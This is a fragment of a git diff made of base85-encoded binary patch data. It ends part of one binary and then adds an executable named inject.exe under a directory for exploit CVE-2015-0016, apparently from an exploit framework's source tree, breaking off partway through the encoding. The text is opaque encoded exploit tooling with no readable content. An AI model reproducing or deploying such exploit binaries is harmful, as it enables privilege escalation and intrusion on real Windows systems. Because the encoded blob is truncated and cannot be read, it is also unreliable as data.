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 literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2015-0016/bin/inject.exe b/external/source/exploits/cve-2015-0016/bin/inject.exe new file mode 100755 index 0000000000000000000000000000000000000000..62156af4636b7c3bdbf7c974f09b007ca7c5757f GIT binary patch literal 76800 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 